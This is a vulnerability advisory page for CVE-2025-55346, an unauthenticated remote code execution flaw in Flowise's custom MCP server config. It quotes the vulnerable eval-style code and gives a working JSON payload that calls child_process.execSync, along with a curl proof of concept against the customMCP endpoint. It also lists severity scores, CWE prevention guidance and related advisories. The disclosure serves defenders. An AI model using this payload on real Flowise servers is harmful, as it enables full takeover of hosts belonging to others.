GHSA-hmgh-466j-fx4c CVE-2025-55346
Flowise vulnerable to RCE via Dynamic function constructor injection
- Severity
- 9.8 / 10
- Critical · CVSS 3.0
- Exploit chance (EPSS)
- 22.54%
- Chance of exploitation in the next 30 days. Higher than 97.71% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-627 Dynamic Variable Evaluation
- CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- Fix
- None yet
- No fixed version published
Description
Summary
User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.
Details
When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:
{
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}
Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):
{
...SNIP...
"inputs":{
"mcpServerConfig":{
"command":"npx",
"args":[
"-y",
"@modelcontextprotocol/server-filesystem",
"/path/to/allowed/files"
]
}
},
"loadMethod":"listActions"
...SNIP...
}
Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:
{
"inputs":{
"mcpServerConfig":"test"
},
"loadMethod":"listActions"
}
We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103):
https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103
async getTools(nodeData: INodeData): Promise<Tool[]> {
const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string
if (!mcpServerConfig) {
throw new Error('MCP Server Config is required')
}
try {
let serverParams
if (typeof mcpServerConfig === 'object') {
serverParams = mcpServerConfig
} else if (typeof mcpServerConfig === 'string') {
const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
serverParams = JSON.parse(serverParamsString)
}
const toolkit = new MCPToolkit(serverParams, 'stdio')
await toolkit.initialize()
const tools = toolkit.tools ?? []
return tools as Tool[]
} catch (error) {
throw new Error(`Invalid MCP Server Config: ${error}`)
}
}
}
Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:
function convertToValidJSONString(inputString: string) {
try {
const jsObject = Function('return ' + inputString)()
return JSON.stringify(jsObject, null, 2)
} catch (error) {
console.error('Error converting to JSON:', error)
return ''
}
}
This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.
This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.
{
"inputs":{
"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
},
"loadMethod":"listActions"
}
PoC
-
Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as
npx,pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker -
Create a new file named
payload.jsonsomewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}
- Send the following
curlrequest using thepayload.jsonfile created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
- Observe that a new file named
yofitofiis created under/tmpfolder.
Impact
Remote code execution
Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| flowise | <= 2.2.7-patch.1 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.0 9.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-627: Dynamic Variable Evaluation
In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.
How to prevent it
- Implementation: Refactor the code to avoid dynamic variable evaluation whenever possible.
- Implementation: Use only allowlists of acceptable variable or function names.
- Implementation: For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
How to prevent it
- Architecture and Design, Implementation: If possible, refactor your code so that it does not need to use eval() at all.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-w7x8-q2gp-5cgg Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass | Critical | Also affects flowise |
| GHSA-9gvv-qjj3-2p6g Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium | High | Also affects flowise |
| GHSA-qgvm-j2hm-6m38 Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service | Critical | Also affects flowise |
| GHSA-5xvg-pmgg-3mxr Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability | Critical | Also affects flowise |
| GHSA-gmmw-qg98-6j6p Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation | High | Also affects flowise |
| GHSA-8gj2-2cvc-6xx7 Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials | Medium | Also affects flowise |
| GHSA-fm2f-4339-4p2f Flowise: Missing Authorization on Execution Update Endpoint | Medium | Also affects flowise |
| GHSA-wch5-xp77-fxg4 Flowise: Cross-Workspace OAuth2 Credential Metadata Leak | High | Also affects flowise |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor